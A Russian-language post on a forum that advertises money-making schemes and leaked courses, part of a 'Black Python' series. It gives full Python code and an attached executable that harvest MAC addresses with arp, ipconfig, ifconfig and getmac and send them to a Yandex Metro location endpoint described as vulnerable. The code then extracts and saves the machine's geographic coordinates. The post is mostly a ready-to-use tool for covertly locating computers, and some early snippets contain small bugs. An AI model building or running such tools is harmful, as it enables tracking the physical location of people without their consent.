• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Авторская статья Black Python - 3. Geo Position

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Привет, друг!
Продолжаем цикл статей Black Python и в этот раз расскажу, как получить местоположение компьютера.
bp_geo.jpg
Способ основан на уязвимости Яндекс метро, а данный модуль является лишь автоматизацией по эксплуатации этой уязвимости.

Наверняка, ты уже слышал про эту уязвимость, но, если вдруг нет, то вот для тебя:
То ли яндекс постоянно следит за нами, то ли периодически, но в его базах есть данные о нашем местоположении. Не всех конечно, но шанс получить чьи-то данные неплохие.
Доступ к этому механизму открытый, поэтому и было решено написать подобный модуль по автоматизации процесса поиска.
Заменив [mac] на свой мак адрес и перейдя по ссылке:
http://mobile.maps.yandex.net/celli...strength=-1&wifinetworks=[mac]:-65&app=ymetro
в ответе получите xml документ с одним из трех состояний:
Ошибка - неправильные параметры,
данные не найдены - параметры ок, данных нет,
данные с координатами - успех и xml структура.


Geo Module
Алгоритм программы:
  • Поиск mac адресов на локальном компьютере
  • Генерирование ссылок
  • Запросы-Ответы по ссылкам
  • Разбор ответов

Начнем с описания базовых функций:
Для получения сырых данных, в которых мы можем найти мак адреса, будем использовать модуль subprocess, который даст нам доступ к командной строке.
Создадим список команд, которые могут выдать нам адреса и поочередно пробуем получить ответ от них. Если ответ получен, то запоминаем его, если произошла ошибка, то игнорируем ее.
Python:
import subprocess

def generate_mac_text():
    text_with_mac = []
    # Проход по списку команд
    for command in ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']:
        try:
            # Порождаем процесс command
            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
            # Получаем результат (как ответ в cmd)
            res = process.communicate()[0].decode('cp866')
            # Добавляем, если не None, ''
            if res: text_with_mac.append(res)
        except:
            # игнорируем ошибку
            pass
    return '\n'.join(text_with_mac)

В результате выполнения функции вернется многострочный текст, состоящий из выводов командной строки на наши запросы.
Для выделения из всех полученных данных нужные нам адреса, воспользуемся модулем регулярных выражений:
Python:
import re
def find_mac(raw_text):
    re_block = r'[a-zA-Z0-9]{2}'
    re_split = r'[\:\-]'
    re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
    return [mac for mac in set(re.findall(re_mac, raw_text))]

Запустим полученные функции:
Python:
def main():
    raw_text = generate_mac_text()
    macs = find_mac(raw_text)
    print(macs)
if __name__ == '__main__':
    main()

Мак адреса нашлись, но для строки url нужно избавиться от символов разделения блоков:
Python:
def find_mac(raw_text):
    re_block = r'[a-zA-Z0-9]{2}'
    re_split = r'[\:\-]'
    re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
    # Обновление
    return [transform_mac(mac) for mac in set(re.findall(re_mac, raw_text))]

def transform_mac(mac):
    return mac.replace(':', '').replace('-', '').upper()

Первый этап закончен, во втором сгенерируем ссылки и получим ответы на запросы к ним. Добавим две функции:
Python:
def make_link(mac):
    return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
           f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"

def get_links(macs):
    return [make_link(mac) for mac in macs]

А в main() добавим:
Python:
links = get_links(macs)
print(links)

Для отправки запросов используем модуль urllib.request, вернем список удачных ответов:
Python:
def find_valid_requests(links):
    responses = []
    for link in links:
        try:
            response = urllib.request.urlopen(link)
            responses.append(response.read().decode('utf-8'))
        except:
            pass
    return responses

В полученном списке будут только удачные ответы, так как при ответе <Not found> - вернется 404, что спровоцирует исключение.
Третий этап - разбор структуры xml - получим словарь с координатами:
Python:
def get_coordinates_from_xml(response):
    # поля документа xml, которые ищем
    directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
    coords = {}
    try:
        # Парсим запрос
        dom = minidom.parseString(response)
        # рекомендуется выполнять эту функцию - нормализация xml
        dom.normalize()
        # ищем координаты
        coord = dom.getElementsByTagName('coordinates')[0].attributes
        # проходим по всем направлениям и получаем данные из этих полей
        for direct in directions:
            coords.update(get_coordinate(direct, coord))
    except:
        pass

def get_coordinate(direct, coord):
    try:
        return {direct: float(coord[direct].value)}
    except:
        return {direct: None}

Обновленный модуль main() выглядит так:
Python:
def main():
    raw_text = generate_mac_text()
    macs = find_mac(raw_text)
    links = get_links(macs)
    responses = find_valid_response(links)
    for response in responses:
        coord = get_coordinates_from_xml(response)
        print(coord)

Python:
# Аналогичная функция, записанная в две строки
def short_main():
    print(get_coordinates_from_xml(response) for response in find_valid_response(get_links(find_mac(generate_mac_text()))))

На экран будет выведена подобная структура (в случае успеха):
{'latitude': 45.0386581, 'longitude': 39.0996056, 'nlatitude': 45.0395474, 'nlongitude': 39.1008641}

Полученные наработки:
Python:
import re
import subprocess
import urllib.request
from xml.dom import minidom

def generate_mac_text():
    text_with_mac = []
    for command in ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']:
        try:
            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
            res = process.communicate()[0].decode('cp866')
            if res: text_with_mac.append(res)
        except:
            pass
    return '\n'.join(text_with_mac)

def find_mac(raw_text):
    re_block = r'[a-zA-Z0-9]{2}'
    re_split = r'[\:\-]'
    re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
    return [transform_mac(mac) for mac in set(re.findall(re_mac, raw_text))]

def transform_mac(mac):
    return mac.replace(':', '').replace('-', '').upper()

def make_link(mac):
    return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
           f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"

def get_links(macs):
    return [make_link(mac) for mac in macs]

def find_valid_response(links):
    responses = []
    for link in links:
        try:
            response = urllib.request.urlopen(link)
            responses.append(response.read().decode('utf-8'))
        except:
            pass
    return responses

def get_coordinates_from_xml(response):
    directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
    coords = {}
    try:
        dom = minidom.parseString(response)
        dom.normalize()
        coord = dom.getElementsByTagName('coordinates')[0].attributes
        for direct in directions:
            coords.update(get_coordinate(direct, coord))
    except:
        pass
    return coords

def get_coordinate(direct, coord):
    try:
        return {direct: float(coord[direct].value)}
    except:
        return {direct: None}

def main():
    raw_text = generate_mac_text()
    macs = find_mac(raw_text)
    links = get_links(macs)
    responses = find_valid_response(links)
    for response in responses:
        coord = get_coordinates_from_xml(response)
        print(coord)
        
def short_main():
    print(get_coordinates_from_xml(res) for res in find_valid_response(get_links(find_mac(generate_mac_text()))))

if __name__ == '__main__':
    main()

Рефакторинг наработок в класс, добавление конфигов
JSON:
{
  "geo_raw_filename": "result\\geo_raw.json",
  "coord_filename": "result\\geo_coord.json",
  "errors_log": "result\\geo_error.log"
}
geo_raw_filename - путь для сохранения мак адресов и сгенерированных ссылок
coord_filename - путь для сохранения координат
errors_log - путь для сохранения ошибок

Список requirements в данном модуле пуст, все библиотеки стандартные.

Код:
import os

def make_folders(path):
    try:
        folder = os.path.dirname(path)
        if folder and not os.path.exists(folder):
            os.makedirs(folder)
    except Exception as e:
        raise FileNotFoundError(f'Folder not create! {e}')

Код:
from additional import make_folders


class ErrorLog:
    def __init__(self):
        self.errors = []

    def add(self, module, error):
        self.errors.append(f'{module} - {error}')

    def error_list(self):
        return self.errors

    def save_log(self, filename='errors.log'):
        make_folders(filename)
        if self.errors and filename:
            with open(filename, 'w') as error_log_file:
                for error in self.errors:
                    error_log_file.write(f'{error}\n')

Код:
import json
import re
import subprocess
import urllib.request
from xml.dom import minidom
from additional import make_folders
from error_log import ErrorLog


class GeoPosition:
    # Список команд для терминала/командной строки
    commands = ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']

    def __init__(self):
        # Списки мак-адресов, ссылок, ответов и координат
        self.macs, self.links, self.responses, self.coordinates = [], [], [], []
        self.error_log = ErrorLog()
        # Запуск поиска координат
        self.engine()

    def engine(self):
        # ищем сырые данные с мак-адресами
        self.generate_mac_files()
        # Выделяем подходящие маки
        self.find_mac()
        # Генерируем ссылки
        self.get_links()
        # Получаем успешные ответы
        self.find_valid_requests()
        # Получаем координаты для каждого успешного ответа
        for response in self.responses:
            self.get_coordinates_from_xml(response)

    def generate_mac_files(self):
        # Проходим по каждой команде
        for command in GeoPosition.commands:
            try:
                # Создаем подпроцесс с командой
                process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
                # Получаем вывод результата
                res = process.communicate()[0].decode('cp866')
                # Добавляем мак в список
                if res: self.macs.append(res)
            except Exception as e:
                self.error_log.add('geo_position (generate_mac_files)', e)

    def find_mac(self):
        # поиск мак адресов и добавление преобразованных в список
        re_block = r'[a-zA-Z0-9]{2}'
        re_split = r'[\:\-]'
        re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
        self.macs = [GeoPosition.transform_mac(mac) for mac in set(re.findall(re_mac, '\n'.join(self.macs)))]

    @staticmethod
    def make_link(mac):
        # Ссылка яндекса с "уязвимостью"
        return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
            f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"

    @staticmethod
    def transform_mac(mac):
        # Удаление разделителей в мак адресе
        return mac.replace(':', '').replace('-', '').upper()

    def get_links(self):
        self.links = [self.make_link(mac) for mac in self.macs]

    def find_valid_requests(self):
        # для каждой ссылки
        for link in self.links:
            try:
                # пробуем получить ответ на запрос
                response = urllib.request.urlopen(link)
                # и добавить его в список
                self.responses.append(response.read().decode('utf-8'))
            except Exception as e:
                self.error_log.add('geo_position (find_valid_requests)', e)

    def get_coordinates_from_xml(self, response):
        coords = {}
        # направления, для поиска элементов в xml
        directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
        try:
            # Парсим ответ
            dom = minidom.parseString(response)
            # Нормализуем структуру
            dom.normalize()
            # Ищем элемент с координатами
            coord = dom.getElementsByTagName('coordinates')[0].attributes
            # Для каждого направления получаем содержание
            for direct in directions:
                coords.update(self.get_coordinate(direct, coord))
            # Добавляем координаты в список
            self.coordinates.append(coords)
        except Exception as e:
            self.error_log.add('geo_position (get_coordinates_from_xml)', e)

    def get_coordinate(self, direct, coords):
        try:
            return {direct: float(coords[direct].value)}
        except Exception as e:
            self.error_log.add('geo_position (get_coordinate)', e)
            return {direct: None}

    def save_raw(self, raw_filename):
        with open(raw_filename, "w") as raw_file:
            json.dump({'macs': self.macs, 'links': self.links}, raw_file)

    def save_coordinates(self, coord_filename):
        if self.coordinates:
            with open(coord_filename, "a") as coord_file:
                json.dump(self.coordinates, coord_file)


# Функия-менеджер, для связи конфигов и модуля geo
def geo_manager(config):
    geo = GeoPosition()
    # Создаем папки для сохранения файлов
    for filename in ['geo_raw_filename', 'coord_filename']:
        make_folders(config[filename])
    # Сохраняем сырые данные, если путь задан
    if config['geo_raw_filename']:
        geo.save_raw(config['geo_raw_filename'])
    # Сохраняем координаты, если путь задан
    if config['coord_filename']:
        geo.save_coordinates(config['coord_filename'])
    # Сохраняем лог ошибок, если путь задан
    if config['errors_log']:
        geo.error_log.save_log(config['errors_log'])


if __name__ == '__main__':
    try:
        # Для изменения конфигурации "на лету" настройки будем получать из файла
        with open('config.json', 'r') as config_file:
            geo_config = json.load(config_file)
        # Запуск механизма с загруженными настройками
            geo_manager(geo_config)
    except Exception as e:
        print(e)

Исходники и исполняемый файл с конфигурацией прикрепляю.
 

Вложения

  • geo_exe.zip
    5,2 MB · Просмотры: 173
  • geo_source.zip
    4 KB · Просмотры: 118
Сверху Снизу